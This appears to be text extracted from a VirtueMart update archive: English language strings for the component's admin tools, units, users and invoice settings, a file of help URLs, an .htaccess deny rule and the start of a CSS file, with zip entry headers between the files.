    The configuration settings are reset with the values from the file /administrator/components/com_virtuemart/virtuemart.cfg

    " COM_VIRTUEMART_TOOLS_RESTHUMB="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_CONF="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_TIP="Usually you need this only when you changed the automatically resized thumbnail size, or for shops installed originally with a version lower than 2.0.22. This command deletes all resized folders and create them new. During the process the automatically thumbnail creation is deactivated. Also all entries of the thumbnail urls are deleted. The reason is that we do not store anylonger the default." COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sync Joomla
    Users" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Uploads your media to the paths:
    Media product url: %s
    Media category url: %s
    Media manufacturer url: %s

    You can change these urls in the config settings.

    " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="To set the parent category" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="To set the parent category view" COM_VIRTUEMART_TO_SET_PRODUCT="To set the product" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_TRANSLATIONS="Translations" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
    To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Unpublish" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNWRITABLE="Unwriteable" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_UPDATEDATABASE="Install or if necessary update tables" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Install/update tables?" COM_VIRTUEMART_UPDATE_ALL="everything" COM_VIRTUEMART_UPDATE_ATTR="Product Attributes (use after you migrated the products)" COM_VIRTUEMART_UPDATE_ATTR_2="The product attributes are the ones from the field Attribute list in the Product Status tab.
    Note:
    When the price are with a + or - sign, they are migrated.
    When the price starts with =, it is set to 0 in the product custom field. A message will be displayed indicating which attribute price was set to 0." COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Check now!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Download Update" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Latest VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart Version installed here" COM_VIRTUEMART_UPDATE_GENERAL="general (media, categories, manufacturers, etc, ...)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="This will install the sample VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_MIGRATION="Updating & Data migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server settings of max execution time" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Memory limit of the server" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Choose a task for migration" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Start to migrate %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Data migration from VirtueMart 1.1.x to VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

    Warning

    Please use those tools only if you understand what you are doing. The tool install or if necessary updat tables is usually safe to use. It does the same as the update procedure. The other commands can break your shop or remove all user data completly. This tools are done for developers.
    Except the delete all data is also meant for people who want completly uninstall the shop and delete all database data. Please use with caution. When using in a broken live shop make an export of your database first. Disable your joomla debug, it can create trouble for nothing, use the vmdebug option instead." COM_VIRTUEMART_UPDATE_NONEWVERSION="You are running the latest VirtueMart version" COM_VIRTUEMART_UPDATE_ORDERS="orders only" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Apply Patch now" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="I have read the Warning and I'm sure to apply the Patch Package to my VirtueMart Installation now." COM_VIRTUEMART_UPDATE_PATCH_DATE="Release Date" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Not all files/directories which need to be updated are writable. Please correct the permissions first." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Files to be updated" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Please mark the checkbox before you apply the Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Queries to be executed on the Database" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="File/Directory not writable" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Writable" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Synchronized %1$s media for %2$s in directory %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Synchronized alltogether %1$s files" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="The synchronisation is not finished, please execute again" COM_VIRTUEMART_UPDATE_PRODUCTS="products only" COM_VIRTUEMART_UPDATE_REL="Migrate related products into vm2 (beta, try after you migrated the products)" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remove
    VirtueMart Data" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="This will remove all VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remove
    VirtueMart Tables" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="This will remove all VirtueMart tables leaving VirtueMart unusable. Are you sure?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restore
    System Defaults" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="This will restore your settings to the defaults. Are you sure?" COM_VIRTUEMART_UPDATE_STATUS="Update Order Status" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Tools" COM_VIRTUEMART_UPDATE_USERS="users only" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Update VM plugin tables" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Installing an Update for VirtueMart using a Patch Package can cause damage on your site if you have already modified some files of the VirtueMart component. The Patching Process will overwrite all the files listed below - it won't just apply smaller changes (diff), but replace the existing file with the new one. If you have modified VirtueMart files on your own, this can lead to inconsistent files and missing class/function dependencies." COM_VIRTUEMART_UPDATE_WARNING_TITLE="General Warning" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="The Update was SUCCESSFUL" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="File with same name already exist" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hello %s, Thank you for registering at %s. You may now login to %s using the username and password you registered with." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hello %s, Thank you for registering at %s. Your account is created and must be activated before you can use it. To activate the account click on the following link or copy-paste it in your browser" COM_VIRTUEMART_USER="Shopper " COM_VIRTUEMART_USERFIELD="Shopper Field" COM_VIRTUEMART_USERFIELDS="Userfield" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Add a Value" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use the table below to add new values." COM_VIRTUEMART_USERFIELDS_COLUMNS="Columns" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, field-tip" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext and URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Max Length" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Extra plugin parameters" COM_VIRTUEMART_USERFIELDS_READONLY="Read-Only" COM_VIRTUEMART_USERFIELDS_ROWS="Rows" COM_VIRTUEMART_USERFIELDS_SIZE="Field Size" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL only" COM_VIRTUEMART_USERFIELD_DETAILS="Shopper Field Details" COM_VIRTUEMART_USERFIELD_S="Shopper Fields" COM_VIRTUEMART_USERGROUPS_ADD="Add / Edit a User Group" COM_VIRTUEMART_USERGROUPS_LEVEL="User Group Level" COM_VIRTUEMART_USERGROUPS_LIST=" User Group List" COM_VIRTUEMART_USERGROUPS_LIST_NAME="User Group Name" COM_VIRTUEMART_USERGROUP_DETAILS="Usergroup Details" COM_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USERS="Users" COM_VIRTUEMART_USERS_SYNCRONIZED="Users Synchronized!" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="You cannot delete this user as it is the only active Super Administrator for your site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="You cannot change this users group as the user is the only active Super Administrator for your site." COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add Address" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To Information" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Change Contact Details" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Please fill out the required fields!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Please fill out the required fields, you may take a look on the tab %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register Date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Shipment Addresses" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_ISNOTVENDOR="Not a vendor" COM_VIRTUEMART_USER_ISVENDOR="Is a vendor" COM_VIRTUEMART_USER_IS_VENDOR="Vendor?" COM_VIRTUEMART_USER_LIST_LBL="Shopper List" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No Shipment Addresses." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="User registration is disabled, it must be enabled in order to proceed." COM_VIRTUEMART_USER_S="Shoppers" COM_VIRTUEMART_USER_SAVED="Shopper saved" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="User %s has an incomplete profile" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Shopper Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_VALUE="Value" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Values are required for this type." COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDORLETTER="Invoices/Emails" COM_VIRTUEMART_VENDORLETTER_DESC="Here you can configure the look of invoices, delivery notes etc. You can take a look at a preview page (after saving the changes) HERE." COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_FIELD_EMAIL="Status mail configuration" COM_VIRTUEMART_VENDOR_FIELD_INVOICE="Invoice configuration" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VENDOR_IMAGE="Vendor image" COM_VIRTUEMART_VENDOR_INVOICE_FREE1="Invoice custom text top" COM_VIRTUEMART_VENDOR_INVOICE_FREE1_DESC="Define a custom text that will be displayed at the top of your invoice." COM_VIRTUEMART_VENDOR_INVOICE_FREE2="Invoice custom text bottom" COM_VIRTUEMART_VENDOR_INVOICE_FREE2_DESC="Define a custom text that will be displayed at the bottom of your invoice." COM_VIRTUEMART_VENDOR_LETTER_A4="A4" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS="Append Terms of Service" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK="Pagebreak before Terms" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK_TIP="If the TOS are appended to the invoices, insert a page break before the TOS." COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_TIP="If checked, the Terms of Service will be appended (optionally after a line break) to all invoices, e.g. to fulfill a legal requirement." COM_VIRTUEMART_VENDOR_LETTER_CSS="CSS Styles for the Document" COM_VIRTUEMART_VENDOR_LETTER_FONT="Default Font" COM_VIRTUEMART_VENDOR_LETTER_FONTS="Appearance" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE="Contents Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_FOOTER="Footer Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_HEADER="Header Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_TIP="PDF invoices will be produced with the selected font as default font. Selecting a UTF-8 Unicode Font will increase the size of the invoices and the size of the pdf produced in product details view PDF, but it will also support Greek, Cyrillic, etc." COM_VIRTUEMART_VENDOR_LETTER_FOOT="Invoice footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER="Display footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_CELL_RATIO="Footer cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_COLOR="Background color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE="Line above footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_REPEAT="Repeat on subsequent pages" COM_VIRTUEMART_VENDOR_LETTER_FORMAT="Page Format" COM_VIRTUEMART_VENDOR_LETTER_HEAD="Invoice Head" COM_VIRTUEMART_VENDOR_LETTER_HEADER="Display header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_CELL_RATIO="Header cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGE="Include Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGESIZE="Size of Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE="Line below header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_LETTER="Letter" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_BOTTOM="Contents Bottom Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_FOOTER="Footer Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_HEADER="Header Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_LEFT="Left Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_RIGHT="Right Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_TOP="Contents Top Margin" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION="Orientation" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE="Landscape" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT="Portrait" COM_VIRTUEMART_VENDOR_LETTER_PAGE="Invoice page geometry" COM_VIRTUEMART_VENDOR_LETTER_REPLACEMENTS_DESC="In the letter headers and footers, you can use the following placeholders to display non-fixed text: {vm:pagenum}, {vm:pagecount}, {vm:vendorname}, {vm:vendorimage}, {vm:vendoraddress}, {vm:vendorlegalinfo}, {vm:vendordescription}, {vm:tos}." COM_VIRTUEMART_VENDOR_MAIL_APPEARANCE="Mail appearance" COM_VIRTUEMART_VENDOR_MAIL_FONT="Default font" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE="Content font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_FOOTER="Footer font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_HEADER="Header font size" COM_VIRTUEMART_VENDOR_MAIL_FREE1="Mail custom text top" COM_VIRTUEMART_VENDOR_MAIL_FREE1_DESC="Define a custom text that will be displayed at the top of your mails." COM_VIRTUEMART_VENDOR_MAIL_FREE2="Mail custom text bottom" COM_VIRTUEMART_VENDOR_MAIL_FREE2_DESC="Define a custom text that will be displayed at the bottom of your mails." COM_VIRTUEMART_VENDOR_MAIL_HEADER="Show mail header?" COM_VIRTUEMART_VENDOR_MAIL_LOGO="Show logo in mails?" COM_VIRTUEMART_VENDOR_MAIL_LOGO_WIDTH="Logo width" COM_VIRTUEMART_VENDOR_MAIL_TOS="Show Terms of Service?" COM_VIRTUEMART_VENDOR_MAIL_WIDTH="Mail width" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Version Check" COM_VIRTUEMART_VIEW="View" COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="country id" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_VIRTUEMART_USER_ID="user id" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible for Shopper" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible for vendor" COM_VIRTUEMART_VOTE_JED="Vote and Rate at JED" COM_VIRTUEMART_VOTE_JED_DESC="If you use VirtueMart, please post a rating and a review at the Joomla! Extensions Directory." COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="You must enter a product id." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Please select a waiting list id to delete." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="You are already being notified of this product." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="You must enter an email address to be on the waiting list." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Please provide a valid email address." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="You must enter a product to be on the waiting list." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warning, the %1$s is empty, for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE="The path for invoices seems to miss the correct file permissions %1$s" COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE="The %1$s is not writeable. Please ensure that you have the correct file permissions and directory settings" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Sorry, was not able to create directory for invoices in the %1$s, please create there manually the folder 'invoices'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warning, the %1$s is not accessible (does not exist or no permission), for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WEEK="Week" COM_VIRTUEMART_WEEKS="Weeks" COM_VIRTUEMART_WEEK_S="Weeks" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Children" COM_VIRTUEMART_YEAR="Year" COM_VIRTUEMART_YEAR_S="Years" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_VERSION="Your Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Current Zone" ; already added for vm2.1 COM_VIRTUEMART_CUSTOM_IS_CART_INPUT="Cart Input" COM_VIRTUEMART_CUSTOM_OVERRIDE="Override for %s" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_CART="Show in cart form" ;ACL settings COM_VIRTUEMART_CALC_EDIT="Edit Taxes and Calculation Rules" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_EDIT="Edit Custom Fields" COM_VIRTUEMART_SHOPPERGROUP_EDIT="Edit Shopper Groups" COM_VIRTUEMART_USERS_EDIT="Edit users" PKsl>\vSrjcom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" PKsl>\)Pcom_virtuemart_update/administrator/components/com_virtuemart/language/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Ocom_virtuemart_update/administrator/components/com_virtuemart/assets/index.htmlnuW+APKsl>\GQ#[com_virtuemart_update/administrator/components/com_virtuemart/assets/css/toolbar_images.cssnuW+A/* 16x16 images */ /* 32x32 images */ .icon-32-lock{ background: url(../images/icon_32/icon-32-lock.png); } /* 48x48 images and joomla overide to use it*/ #cpanel span.vmicon48 { display: inline-block !important; height: 48px; width: 48px;margin-top: 10px;} #cpanel div.icon { cursor: pointer; } .vmicon48, .icon-48-head{background-image: url(../images/icone48.png) ; background-repeat: no-repeat !important; display :inline-block ;} .vm_shop_categories_48{ background-position: 0px 0px; height: 